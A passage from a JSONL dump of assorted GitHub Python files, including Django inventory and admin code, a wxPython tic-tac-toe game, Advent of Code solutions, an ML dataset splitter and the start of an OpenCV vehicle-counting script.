\", lasso_reg_0.score(x_train_0, y_train_0))\n print(\"Lasso regression Training Scores 1: \", lasso_reg_1.score(x_train_1, y_train_1))\n\n print(\"Lasso regression Testing score 0:\", lasso_reg_0.score(x_test_0, y_test_0))\n print(\"Lasso regression Testing score 1:\", lasso_reg_1.score(x_test_1, y_test_1))\n\n #Elastic net Linear regression\n el_reg_0 = get_lin_model(True, 'elastic')\n el_reg_1 = get_lin_model(True, 'elastic')\n\n el_reg_0, el_reg_1, x_train_0, y_train_0, x_train_1, y_train_1, x_test_0, y_test_0, x_test_1, y_test_1 \\\n = model_with_kmeans_eval(el_reg_0, el_reg_1)\n\n print(\"Elastic net Training Scores 0: \", el_reg_0.score(x_train_0, y_train_0))\n print(\"Elastic net Training Scores 1: \", el_reg_1.score(x_train_1, y_train_1))\n\n print(\"Elastic net Testing score 0:\", el_reg_0.score(x_test_0, y_test_0))\n print(\"Elastic net Testing score 1:\", el_reg_1.score(x_test_1, y_test_1))\n\ndef linear_reg():\n isWithCV = True\n #Linear regression\n linear_reg = get_lin_model(False)\n\n linear_reg, x_train, y_train, x_test, y_test = simple_model_eval(linear_reg)\n\n pickle.dump(linear_reg, open('../saved_models/linear_reg.pkl', 'wb'))\n linear_reg = pickle.load(open('../saved_models/linear_reg.pkl', 'rb'))\n\n print(\"Linear regression Training Scores 0: \", linear_reg.score(x_train, y_train))\n print(\"Linear Regression Testing score 0:\", linear_reg.score(x_test, y_test))\n\n #Ridge regression\n ridge = get_lin_model(isWithCV, 'ridge')\n\n ridge, x_train, y_train, x_test, y_test = simple_model_eval(ridge)\n\n if (isWithCV):\n print(\"\\n The best estimator for ridge across ALL searched params:\\n\", ridge.best_params_)\n ridge = ridge.best_estimator_ if isWithCV else ridge\n\n print(\"Ridge regression Training Scores 0: \", ridge.score(x_train, y_train))\n print(\"Ridge regression Testing score 0:\", ridge.score(x_test, y_test))\n\n\n #Lasso regression\n lasso_reg = get_lin_model(isWithCV, 'lasso')\n\n lasso_reg, x_train, y_train, x_test, y_test = simple_model_eval(lasso_reg)\n\n if (isWithCV):\n print(\"\\n The best estimator for lasso across ALL searched params:\\n\", lasso_reg.best_params_)\n lasso_reg = lasso_reg.best_estimator_ if isWithCV else lasso_reg\n\n print(\"Lasso regression Training Scores 0: \", lasso_reg.score(x_train, y_train))\n print(\"Lasso regressionTesting score 0:\", lasso_reg.score(x_test, y_test))\n\n\n #Elastic-net regression\n elastic_net = get_lin_model(isWithCV, 'elasticnet')\n\n elastic_net, x_train, y_train, x_test, y_test = simple_model_eval(elastic_net)\n\n if (isWithCV):\n print(\"\\n The best estimator for elastic net across ALL searched params:\\n\", elastic_net.best_params_)\n elastic_net = elastic_net.best_estimator_ if isWithCV else elastic_net\n\n print(\"Elastic-net regression Training Scores 0: \", elastic_net.score(x_train, y_train))\n print(\"Elastic-net regression Testing score 0:\", elastic_net.score(x_test, y_test))\n\n\ndef histograms(df):\n df['connectedDuration'].hist(figsize=(20, 15))\n plt.show()\n\n\nlinear_reg()\n","repo_name":"biswarup90/agent_handle_time","sub_path":"model/5_regression.py","file_name":"5_regression.py","file_ext":"py","file_size_in_byte":5996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34474080914","text":"import wx\n\nclass TicTacToeFrame(wx.Frame):\n def __init__(self):\n super().__init__(None, title=\"Jogo da Velha\", size=(600, 600))\n \n self.player_x_name = \"\"\n self.player_o_name = \"\"\n self.current_player = 'X'\n self.board = [['' for _ in range(3)] for _ in range(3)]\n self.game_started = False\n \n self.panel = wx.Panel(self)\n self.buttons = [[None for _ in range(3)] for _ in range(3)]\n \n self.player_x_text = wx.TextCtrl(self.panel, value=\"Jogador X\", size=(100, -1))\n self.player_o_text = wx.TextCtrl(self.panel, value=\"Jogador O\", size=(100, -1))\n self.start_button = wx.Button(self.panel, label=\"Iniciar Jogo\")\n self.start_button.Bind(wx.EVT_BUTTON, self.start_game)\n \n sizer = wx.GridSizer(3, 3, 0, 0)\n for row in range(3):\n for col in range(3):\n button = wx.Button(self.panel, id=wx.ID_ANY, label='', size=(100, 100))\n button.Bind(wx.EVT_BUTTON, lambda event, r=row, c=col: self.on_button_click(event, r, c))\n self.buttons[row][col] = button\n sizer.Add(button, 0, wx.EXPAND)\n \n self.panel_sizer = wx.BoxSizer(wx.VERTICAL)\n self.panel_sizer.Add(self.player_x_text, 0, wx.ALL | wx.CENTER, 5)\n self.panel_sizer.Add(self.player_o_text, 0, wx.ALL | wx.CENTER, 5)\n self.panel_sizer.Add(self.start_button, 0, wx.ALL | wx.CENTER, 5)\n self.panel_sizer.Add(sizer, 0, wx.ALL | wx.CENTER, 10)\n \n self.panel.SetSizerAndFit(self.panel_sizer)\n self.Center()\n \n def start_game(self, event):\n self.player_x_name = self.player_x_text.GetValue()\n self.player_o_name = self.player_o_text.GetValue()\n self.game_started = True\n \n def on_button_click(self, event, row, col):\n if self.game_started:\n button = self.buttons[row][col]\n if not button.Label:\n button.Label = self.current_player\n self.board[row][col] = self.current_player\n winner = self.check_winner()\n if winner:\n wx.CallAfter(self.show_message, f\"{self.get_player_name(winner)} ganhou!\")\n self.reset_board()\n elif self.is_full():\n wx.CallAfter(self.show_message, \"Empate!\")\n self.reset_board()\n else:\n self.current_player = 'O' if self.current_player == 'X' else 'X'\n \n def check_winner(self):\n # Verifica se algum jogador ganhou\n for row in range(3):\n if self.board[row][0] == self.board[row][1] == self.board[row][2] and self.board[row][0] != '':\n return self.board[row][0]\n \n for col in range(3):\n if self.board[0][col] == self.board[1][col] == self.board[2][col] and self.board[0][col] != '':\n return self.board[0][col]\n \n if self.board[0][0] == self.board[1][1] == self.board[2][2] and self.board[0][0] != '':\n return self.board[0][0]\n \n if self.board[0][2] == self.board[1][1] == self.board[2][0] and self.board[0][2] != '':\n return self.board[0][2]\n \n return None\n\n def is_full(self):\n # Verifica se o tabuleiro está cheio\n for row in self.board:\n for cell in row:\n if cell == '':\n return False\n return True\n\n def reset_board(self):\n # Reinicia o tabuleiro\n for row in range(3):\n for col in range(3):\n self.buttons[row][col].Label = ''\n self.board[row][col] = ''\n self.player = 'X'\n\n \n def get_player_name(self, player):\n # Obtém o nome do jogador com base no símbolo ('X' ou 'O')\n return self.player_x_name if player == 'X' else self.player_o_name\n\n def show_message(self, message):\n wx.MessageBox(message, \"Fim do Jogo\", wx.OK | wx.ICON_INFORMATION)\n\ndef main():\n app = wx.App()\n frame = TicTacToeFrame()\n frame.Show(True)\n app.MainLoop()\n\nif __name__ == \"__main__\":\n main()","repo_name":"PedroRamos2023/Python","sub_path":"ex006/ex006.py","file_name":"ex006.py","file_ext":"py","file_size_in_byte":4178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72003344147","text":"# Python Program to Take 2 Strings & Display the Larger String without using Built-in Functions\n\ns1 = input(\"\\nEnter The First String: \")\ns2 = input(\"Enter The Second String: \")\n\nc1 = 0\nc2 = 0\n\nfor i in s1:\n c1 += 1\n\nfor j in s2:\n c2 += 1\n\nif(c1 == c2):\n print(f\"\\nBoth The Strings are of same Length.\\n\")\nelif(c1 > c2):\n print(f\"\\n{s1} is the Larger String\\n\")\nelse:\n print(f\"\\n{s2} is the Larger String\\n\")\n","repo_name":"Avdhesh-Varshney/PYTHON","sub_path":"Practice Problems/Python Programs on Strings/Take 2 Strings & Display the Larger String without using Built-in Functions.py","file_name":"Take 2 Strings & Display the Larger String without using Built-in Functions.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38030352296","text":"import csv\nimport os\nimport pandas as pd\nfrom sklearn.model_selection import StratifiedShuffleSplit\n\nfrom config import Config\n\n\ndef filter_out_nan(x, y):\n index_to_remove = y[y.isna()].index\n\n xx = x.drop(index_to_remove, inplace=False)\n yy = y.drop(index_to_remove, inplace=False)\n \n return xx, yy\n\n\ndef get_labels_from_file(file_containing_labels):\n labels = pd.read_csv(file_containing_labels, index_col=0, dtype={0: str})\n return labels\n\n\ndef get_feature_matrix_from_files(feature_files):\n raw_feature_matrix = pd.read_csv(feature_files[0], index_col=0, dtype={0: str})\n # print(raw_feature_matrix.shape)\n for i in range(1, len(feature_files)):\n tmp_feature_matrix = pd.read_csv(feature_files[i], index_col=0, dtype={0: str})\n # print(tmp_feature_matrix.shape)\n for column in tmp_feature_matrix.columns:\n if column in raw_feature_matrix.columns:\n for j in raw_feature_matrix.index:\n if raw_feature_matrix.at[j, column] == 0 and tmp_feature_matrix.at[j, column] == 1:\n raw_feature_matrix.at[j, column] = 1\n else:\n raw_feature_matrix[column] = tmp_feature_matrix[column]\n\n # print(raw_feature_matrix.shape)\n return raw_feature_matrix\n\n\nif __name__ == '__main__':\n dataset_directory = '/run/media/herkut/herkut/TB_genomes/ar_detection_dataset/'\n dataset = 'dataset-ii'\n data_representation = 'binary'\n\n configuration_file = '/home/herkut/Desktop/ar_detector/configurations/conf.yml'\n\n raw = open(configuration_file)\n Config.initialize_configurations(raw)\n\n for td in Config.target_drugs:\n if dataset == 'dataset-i':\n raw_feature_selections = {'snp_09_bcf_nu_indel_00_platypus_all': [\n os.path.join(dataset_directory, 'new_approach_with_normalization', 'snp_bcftools_0.9_notunique.csv'),\n os.path.join(dataset_directory, 'new_approach_with_normalization', 'indel_platypus_0.0_all.csv')]\n }\n label_file = 'labels.csv'\n elif dataset == 'dataset-ii':\n raw_feature_selections = {'snp_09_bcf_nu_indel_00_platypus_all': [\n os.path.join(dataset_directory, 'features_dataset_ii_with_normalization', 'sorted_snp_bcftools_0.9_notunique.csv'),\n os.path.join(dataset_directory, 'features_dataset_ii_with_normalization', 'sorted_indel_platypus_0.0_all.csv')]\n }\n label_file = 'sorted_labels_dataset-ii.csv'\n ##\n feature_selections = {}\n for k, v in raw_feature_selections.items():\n feature_selections[data_representation + '_' + k] = v\n\n for k, v in feature_selections.items():\n raw_label_matrix = get_labels_from_file(os.path.join(dataset_directory, label_file))\n\n raw_feature_matrix = get_feature_matrix_from_files(v)\n # raw_feature_matrix.to_csv(index=True)\n\n x, y = filter_out_nan(raw_feature_matrix, raw_label_matrix[td])\n\n sss = StratifiedShuffleSplit(n_splits=1, test_size=0.2, random_state=0)\n\n for train_index, test_index in sss.split(x, y):\n target_directory = os.path.join(Config.dataset_index_directory + '_' + Config.target_dataset)\n with open(os.path.join(target_directory,\n td + '_tr_indices.csv'),\n 'w') as csv_file:\n writer = csv.writer(csv_file, delimiter=',')\n for tmp in train_index:\n writer.writerow([x.index[tmp]])\n\n with open(os.path.join(target_directory,\n td + '_te_indices.csv'),\n 'w') as csv_file:\n writer = csv.writer(csv_file, delimiter=',')\n for tmp in test_index:\n writer.writerow([x.index[tmp]])\n","repo_name":"herkut/ar_detector","sub_path":"preprocess/dataset_splitter.py","file_name":"dataset_splitter.py","file_ext":"py","file_size_in_byte":3950,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"17089280581","text":"\"\"\" Static data used by SocialNPHS.\n\nBy \"static\" I don't mean it doesn't change, but that it comes from a file\ninstead of (directly) from the internet.\n\nThis includes:\n- District bounds data\n- The database of twitter users\n- The SQLite database\nand a python interface to each of these\n\"\"\"\n\nfrom SocialNPHS.data import district_bounds\n\n_district_data = district_bounds.ShapeFileData()\n\n# This first run is slow-ish\ndistrict = _district_data.get_district_by_name(\n \"New Paltz Central School District\"\n)\n\n# This second run takes less than 1% of that though, because of caching\ndistrict_shape = _district_data.get_shape_by_name(\n \"New Paltz Central School District\"\n)\n","repo_name":"SocialNPHS/SocialNPHS","sub_path":"SocialNPHS/data/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"40371166017","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 6 11:37:12 2022\nAnalyse spectrale\n@author: remimetzdorff\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef signal_carre(t,f=1,N=1):\n s = np.zeros(len(t))\n for n in range(1,N+1):\n if n%2 != 0:\n an = 4/np.pi/n\n sn = an * np.cos(2*np.pi * n * f * t - np.pi/2)\n s += sn\n plt.plot(t, sn, \"C0\", alpha=0.25)\n return s\n\ndef signal_triangle(t,f=1,N=1):\n s = np.zeros(len(t))\n for n in range(1,N+1):\n if n%2 != 0:\n an = 8 / np.pi**2 * (-1) ** ((n-1) / 2) / n**2\n sn = an * np.sin(2*np.pi * n * f * t)\n s += sn\n plt.plot(t, sn, \"C0\", alpha=0.25)\n return s\n\n\n\nt = np.linspace(0,5,1001)\n\nplt.plot(t, signal_triangle(t,N=15))\nplt.xlabel(\"Temps $t$ (s)\")\nplt.ylabel(\"Signal $s(t)$\")","repo_name":"remimetzdorff/mp2i","sub_path":"python/chap10-analyse_spectrale.py","file_name":"chap10-analyse_spectrale.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"6015841844","text":"from codes.stats.codesScript import CodesScript\nfrom codes.data import find\n\nrestrict_level = False\n\nsphere_limits = [[3, 2], [3, 3], [4, 3], [4, 4], [5, 4], [5, 5], [5, 5],\n [5, 5], [5, 5], [5, 5]]\n\n\nclass ArcanaScript(CodesScript):\n\n # noinspection PyAttributeOutsideInit\n def at_script_creation(self):\n self.persistent = True # will survive reload\n self.db.longname = ''\n self.db.info = ''\n self.db.reference = ''\n self.db.restricted = False\n self.tags.add('stat_data')\n self.tags.add('arcana_stat')\n\n def update(self, longname='', info='', reference='',\n restricted=False):\n self.db.longname = longname\n self.db.info = info\n self.db.reference = reference\n self.db.restricted = restricted\n\n # noinspection PyUnusedLocal\n def get(self, target, subentry=''):\n \"\"\"\n get\n\n\n Returns the value of an arcanum on a character.\n\n\n target: The character being checked\n subentry: Dummy for overloading\n\n \"\"\"\n if target.db.arcana:\n if self.db.longname in target.db.arcana:\n result = target.db.arcana[self.db.longname]\n else:\n result = 0\n else:\n result = 0\n return result\n\n # noinspection PyUnusedLocal\n def meets_prereqs(self, target, value=0, subentry=''):\n \"\"\"\n meets_prereqs\n\n\n Determines if a character meets the prerequisites to purchase an\n arcanum. Should only return True or False.\n\n\n target: The character being checked\n value: The level being checked.\n subentry: Seeming benefits\n\n\n \"\"\"\n result = False\n name = self.db.longname\n highest = 0\n for item in list(target.db.arcana.keys()):\n if target.db.arcana[item] > highest:\n highest = target.db.arcana[item]\n gnosis = target.get('Gnosis', statclass='Power') + 1\n highest_max = (sphere_limits[gnosis][0])\n other_max = sphere_limits[target.get('Gnosis',\n statclass='Power') + 1][1]\n if target.template().lower() == 'mage':\n order = find(target.get('Order', statclass='Sphere'),\n statclass='Order')[0]\n if name == order.db.inferior and value > 2 and restrict_level:\n result = False\n elif name != order.db.inferior and value > 4 and restrict_level:\n result = False\n elif value > highest_max:\n result = False\n elif value > other_max and highest == highest_max:\n result = False\n else:\n result = True\n return result\n\n # noinspection PyUnusedLocal\n def cost(self, target, value=True, subentry=''):\n \"\"\"\n cost\n\n\n Determines the cost for a character to purchase an arcanum.\n\n\n target: The character being checked\n value: The level being checked.\n subentry: Dummy for overloading\n\n\n \"\"\"\n name = self.db.longname\n current = self.get(target)\n path = find(target.get('Path', statclass='Sphere'),\n statclass='Path')[0]\n if name == path.db.inferior_arcana and value > 2:\n result = 5 * (value - current)\n elif name != path.db.inferior_arcana and value > 4:\n result = 5 * (value - current)\n else:\n result = 4 * (value - current)\n return result\n\n # noinspection DuplicatedCode,DuplicatedCode,PyUnusedLocal\n def set(self, target, value, subentry=''):\n \"\"\"\n set\n\n\n Sets the value of an arcanum on a character sheet. Adds the\n arcanum if the character does not currently possess it. Removes\n the arcanum if the value is False.\n\n\n target: The character the arcanum is being set for\n value: The value the arcanum is being set to\n subentry: Dummy for overloading\n\n\n \"\"\"\n name = self.db.longname\n if target.db.arcana:\n if name not in target.db.arcana and value != 0:\n target.db.arcana[name] = value\n result = True\n elif name in target.db.arcana and value == 0:\n del target.db.arcana[name]\n result = True\n elif name in target.db.arcana and value > 0:\n target.db.arcana[name] = value\n result = True\n else:\n result = False\n else:\n if value != 0:\n target.db.arcana = {name: value}\n result = True\n else:\n result = False\n return result\n","repo_name":"esampson/codes","sub_path":"codes/stats/arcanaScripts.py","file_name":"arcanaScripts.py","file_ext":"py","file_size_in_byte":4731,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"17607299407","text":"from django.contrib import admin\nfrom . import models\nfrom django.utils.html import mark_safe\n\n@admin.register(models.RoomType, models.Amenity, models.Facility, models.HouseRule)\nclass ItemAdmin(admin.ModelAdmin):\n\n \"\"\"Item Admin Definition\"\"\"\n list_display = (\n 'name',\n 'used_by'\n )\n def used_by(self, obj):\n return obj.rooms.count()\n\n\n@admin.register(models.Photo)\nclass PhotoAdmin(admin.ModelAdmin):\n\n \"\"\"Photo Admin Definition\"\"\"\n\n list_display = ('__str__', 'get_thumbnail')\n\n def get_thumbnail(self, obj):\n return mark_safe(f'')\n get_thumbnail.short_description = 'Thumbnail'\n\n\nclass PhotoInline(admin.StackedInline):\n\n model = models.Photo\n\n\n@admin.register(models.Room)\nclass RoomAdmin(admin.ModelAdmin):\n\n \"\"\"Room Admin Definition\"\"\"\n\n inlines = (PhotoInline,)\n ordering = ('created',)\n fieldsets = (\n (\n \"Basic Info\",\n {\"fields\": ('name', 'description', 'Country', 'city', 'address', 'price',)}\n ),\n (\n \"Times\",\n {\"fields\": ('check_in', 'check_out', 'instance_booking',)}\n ),\n (\n \"More About the Space\",\n {'fields': ('bedrooms', 'beds', 'baths', 'guests',)}\n ),\n (\n \"Spaces\",\n {'fields': ('amenity', 'facility', 'house_rule')}\n ),\n (\n \"Last Details\",\n {'fields': ('host',)}\n )\n )\n\n list_display = (\n 'name',\n 'description',\n 'Country',\n 'city',\n 'address',\n 'price',\n 'bedrooms',\n 'beds',\n 'baths',\n 'guests',\n 'check_in',\n 'check_out',\n 'instance_booking',\n 'count_amenities',\n 'count_photos',\n 'rating',\n )\n\n list_filter = (\n 'instance_booking',\n 'host__superHost',\n 'room_type',\n 'amenity',\n 'facility',\n 'house_rule',\n 'city',\n 'Country')\n\n filter_horizontal = (\n 'amenity',\n 'facility',\n 'house_rule'\n )\n\n raw_id_fields = (\"host\", )\n\n # def save_model(self, request, obj, form, change):\n # print(obj, change, form)\n # super().save_model(request, obj, form, change)\n\n def count_amenities(self, obj):\n return(obj.amenity.count())\n\n def count_photos(self, obj):\n return(obj.photos.count())\n search_fields = ('name', 'city', 'host__username',)","repo_name":"one-constant/airbnb_clone","sub_path":"rooms/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36911150832","text":"import re\n\n\nclass Particle:\n def __init__(self, pos, vel, acc):\n self.pos = pos\n self.vel = vel\n self.acc = acc\n self.alive = True\n\n\ndef get_vector(string):\n return [int(x) for x in string.split(\",\")]\n\n\ndef vector_add(a, b):\n res = [0, 0, 0]\n res[0] = a[0] + b[0]\n res[1] = a[1] + b[1]\n res[2] = a[2] + b[2]\n return res\n\n\nwith open('day20.txt') as fp:\n particles = []\n for line in fp:\n pattern = re.compile('(?<=<).+?(?=>)')\n vectors = pattern.findall(line)\n pos = get_vector(vectors[0])\n vel = get_vector(vectors[1])\n acc = get_vector(vectors[2])\n particles.append(Particle(pos, vel, acc))\n\n\ndef check_collisions(particles):\n for ai, a in enumerate(particles):\n for bi, b in enumerate(particles):\n if ai != bi and a.pos[0] == b.pos[0] and a.pos[1] == b.pos[1] and a.pos[2] == b.pos[2]:\n a.alive = False\n b.alive = False\n\n\nfor i in range(100000):\n for p in particles:\n p.vel = vector_add(p.vel, p.acc)\n p.pos = vector_add(p.pos, p.vel)\n\n dist = [abs(p.pos[0]) + abs(p.pos[1]) + abs(p.pos[2]) for p in particles]\n min_dist = min(dist)\n min_index = dist.index(min_dist)\n\n check_collisions(particles)\n alive = sum([1 for x in particles if x.alive is True])\n\n print(min_dist, min_index, alive)","repo_name":"Gnurka/adventofcode-2017","sub_path":"day20.py","file_name":"day20.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6501435266","text":"from core.mixins import ReadFromCSVMixin\nfrom django.core.management.base import BaseCommand\nfrom organisations.models import OrganisationDivision, OrganisationDivisionSet\n\n\nclass Command(ReadFromCSVMixin, BaseCommand):\n help = \"\"\"Takes a CSV in the format name,seats_total and updates the \n seats_total for matching divisions\"\"\"\n\n def add_arguments(self, parser):\n super().add_arguments(parser)\n parser.add_argument(\n \"--divisionset\",\n action=\"store\",\n help=\"PK for the DivisionSet to update\",\n required=True,\n )\n parser.add_argument(\n \"--override\",\n action=\"store_true\",\n help=\"Override existing values in seats_total\",\n )\n\n def handle(self, *args, **options):\n division_set = OrganisationDivisionSet.objects.get(\n pk=options[\"divisionset\"]\n )\n csv_data = self.load_data(options)\n\n division_names = set(\n division_set.divisions.values_list(\"name\", flat=True)\n )\n csv_names = {r[\"name\"] for r in csv_data}\n if division_names != csv_names:\n self.stderr.write(\"Name mismatch\")\n self.stderr.write(\"==============\")\n self.stderr.write(\"Names in database not in CSV\")\n self.stderr.write(\"\\t\" + \"\\n\\t\".join(division_names - csv_names))\n\n self.stderr.write(\"Names in CSV not in database\")\n self.stderr.write(\"\\t\" + \"\\n\\t\".join(csv_names - division_names))\n\n for line in csv_data:\n division: OrganisationDivision = division_set.divisions.get(\n name=line[\"name\"]\n )\n if division.seats_total and not options[\"override\"]:\n self.stdout.write(\n \"Skipping division with existing \"\n \"seats_total: {} ({})\".format(division.name, division.pk)\n )\n continue\n\n division.seats_total = line[\"seats_total\"]\n division.save()\n self.stdout.write(\n \"Set seats_total to {} for {} ({})\".format(\n division.seats_total, division.name, division.pk\n )\n )\n","repo_name":"DemocracyClub/EveryElection","sub_path":"every_election/apps/organisations/management/commands/import_seats_total_for_divisionset.py","file_name":"import_seats_total_for_divisionset.py","file_ext":"py","file_size_in_byte":2215,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"48"} +{"seq_id":"2865270807","text":"from shared import *\n\n# Input data is in INPUT_DATA.\nINPUT_DATA = [x for x in INPUT_DATA]\ngrid = squareGridFromChars(INPUT_DATA, isInts=True)\nwidth = len(INPUT_DATA[0])\nheight = len(INPUT_DATA)\n\n# Part 1\nvisible = 0\nfor pos, val in grid.items():\n real = int(pos.real)\n imag = int(pos.imag)\n if imag in [0, height - 1] or real in [0, width - 1]:\n visible += 1\n else:\n top_visible = all([True if grid[complex(real, i)] < val else False for i in range(0, imag)])\n bottom_visible = all([True if grid[complex(real, i)] < val else False for i in range(imag + 1, height)])\n\n left_visible = all([True if grid[complex(i, imag)] < val else False for i in range(0, real)])\n right_visible = all([True if grid[complex(i, imag)] < val else False for i in range(real + 1, width)])\n\n if top_visible or bottom_visible or left_visible or right_visible:\n visible += 1\n\nprint(visible)\n\n# Part 2\nvisibility = defaultdict(lambda: 1)\nfor pos, val in grid.items():\n real = int(pos.real)\n imag = int(pos.imag)\n\n if imag in [0, height - 1] or real in [0, width - 1]:\n continue\n\n for dir in getOrthogonalSquareNeighbors():\n visible = 0\n\n dir_pos = complex(pos.real, pos.imag)\n while True:\n dir_pos += dir\n if dir_pos not in grid: break\n elif grid[dir_pos] >= val:\n visible += 1\n break\n else: visible += 1\n\n visibility[pos] *= visible\n\nmax = sorted([(pos, visible) for pos, visible in visibility.items()], key = lambda x: x[1])[-1]\nprint(max)","repo_name":"pantaryl/adventofcode","sub_path":"2022/src/day8.py","file_name":"day8.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"21919162192","text":"from django.http import Http404, HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404, render\nfrom .forms import InventoryMakerForm, InventoryEditForm\nfrom .models import Inventory\nfrom django.shortcuts import render\nfrom django.urls import reverse\nimport csv\nfrom django.http import HttpResponse\n\n\n# Create CSV\ndef csv_create(request):\n response = HttpResponse(\n content_type=\"text/csv\",\n headers={\"Content-Disposition\": 'attachment; filename=\"somefilename.csv\"'},\n )\n\n writer = csv.writer(response)\n inventory_data = Inventory.objects.all()\n writer.writerow([\"id\", \"Name\", \"Description\"])\n for q in inventory_data:\n writer.writerow([q.id, q.name, q.description])\n return response\n\n\n# Create your views here.\ndef inventory_create(request):\n if request.method == \"POST\":\n form = InventoryMakerForm(request.POST)\n if form.is_valid():\n name = form.cleaned_data[\"inventory_name\"]\n description = form.cleaned_data[\"inventory_description\"]\n q = Inventory(name=name, description=description)\n q.save()\n return HttpResponseRedirect(reverse(\"inventory:inventorylist\"))\n else:\n raise Http404(\"Invalid input\")\n else:\n form = InventoryMakerForm()\n context = {\"form\": form}\n return render(request, \"inventory/inventorycreate.html\", context)\n\n\n# Create your views here.\ndef inventory_edit(request, pk):\n q = get_object_or_404(Inventory, pk=pk)\n original_name = q.name\n if request.method == \"POST\":\n form = InventoryEditForm(request.POST)\n if form.is_valid():\n name_ = form.cleaned_data[\"inventory_name\"]\n description_ = form.cleaned_data[\"inventory_description\"]\n if original_name != name_ and Inventory.objects.filter(name=name_):\n raise Http404(\n \"Invalid input (Name probably already exists or exceeds 30 characrters)\"\n )\n else:\n q.name = name_\n q.description = description_\n q.save()\n return HttpResponseRedirect(reverse(\"inventory:inventorylist\"))\n else:\n raise Http404(\n \"Invalid input (Name probably already exists or exceeds 30 characrters)\"\n )\n else:\n form = InventoryMakerForm(\n initial={\"inventory_name\": q.name, \"inventory_description\": q.description},\n )\n context = {\"form\": form}\n return render(request, \"inventory/inventoryedit.html\", context)\n\n\n# Create your views here.\ndef inventory_delete(request, pk):\n q = get_object_or_404(Inventory, pk=pk)\n q.delete()\n return HttpResponseRedirect(reverse(\"inventory:inventorylist\"))\n\n\ndef get_one_inventory(request, pk):\n try:\n p = Inventory.objects.get(pk=pk)\n except Inventory.DoesNotExist:\n raise Http404(\"Inventory does not exist\")\n context = {\"inventory\": p}\n return render(request, \"inventory/inventory.html\", context)\n\n\ndef inventorylist(request):\n inventory = Inventory.objects.all()\n context = {\"inventories\": inventory}\n return render(request, \"inventory/inventorylist.html\", context)\n","repo_name":"LastAeon77/Shopifybackend","sub_path":"inventory/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22396209564","text":"import ipaddress\nimport bisect\nimport os\nimport zipfile\nfrom urllib import urlretrieve\n\n\nclass GetIPLoaction():\n def __init__(self, NeedUpdate):\n self.IPNumberS = []\n self.IPNumberD = []\n self.IPCountry = []\n if NeedUpdate:\n if self.DownloadCsv():\n self.UnzipFile()\n self.CreatIPRange()\n\n def DownloadCsv(self):\n print(\"Try to download IP list from software77\")\n try:\n urlretrieve(\"http://software77.net/geo-ip/?DL=2\", \"IpToCountry.zip\")\n return 1\n except:\n print(\"Fail download\")\n return 0\n\n def UnzipFile(self):\n print(\"Unziping IpToCountry.zip\")\n zip_ref = zipfile.ZipFile(\"IpToCountry.zip\", \"r\")\n zip_ref.extractall()\n zip_ref.close()\n\n def CreatIPRange(self):\n if \"IpToCountry.csv\" not in os.listdir(os.getcwd()):\n sys.exit(\"IpToCountry.csv not in folder process shout down.\")\n with open(\"{}\".format(os.getcwd() + r\"/IpToCountry.csv\")) as IPList:\n for Line in IPList:\n if \"#\" not in Line:\n self.IPNumberS.append(int(Line.split(\",\")[0].replace(\"\\\"\", \"\")))\n self.IPNumberD.append(int(Line.split(\",\")[1].replace(\"\\\"\", \"\")))\n self.IPCountry.append(Line.split(\",\")[6].rstrip().replace(\"\\\"\", \"\"))\n\n def FindLaction(self, ip):\n Index = bisect.bisect(self.IPNumberS, int(ipaddress.IPv4Address(unicode(ip, \"utf-8\"))))\n if int(ipaddress.IPv4Address(unicode(ip, \"utf-8\"))) <= self.IPNumberD[Index - 1]:\n return (self.IPCountry[Index - 1])\n else:\n return (\"Dismatch\")\n","repo_name":"ytlai4851/PythonPractice","sub_path":"GetIPLoaction.py","file_name":"GetIPLoaction.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26404885220","text":"import cv2\r\n\r\nimport numpy as np\r\n\r\n\r\n# to start web cam\r\n\r\ncap = cv2.VideoCapture('tvid.mp4')\r\n\r\n\r\nline_pos=450\r\n\r\n\r\n# substructor alog\r\n\r\nalgo=cv2.createBackgroundSubtractorMOG2(history=100, varThreshold=40)\r\n\r\n\r\n#to make a centre function\r\ndef center_point (x,y,w,h):\r\n x1=int(w/2)\r\n y1=int(h/2)\r\n cx=x+x1\r\n cy=y+y1\r\n return cx,cy\r\n\r\n\r\ncount=[]\r\noffset = 6 # error b/w pixels\r\nvc=0\r\n\r\nwhile True:\r\n ret, frame1 = cap.read()\r\n\r\n # h1,w1,_ =frame1.shape\r\n # # to customize the regin of intrest\r\n # roi=frame1[310:720,80:1280]\r\n\r\n # converting the image to gray scale \r\n gray = cv2.cvtColor(frame1,cv2.COLOR_BGR2GRAY)\r\n\r\n ########_, gray = cv2.threshold(gray,244,245,cv2.THRESH_BINARY)\r\n\r\n\r\n # to convert into gaussin 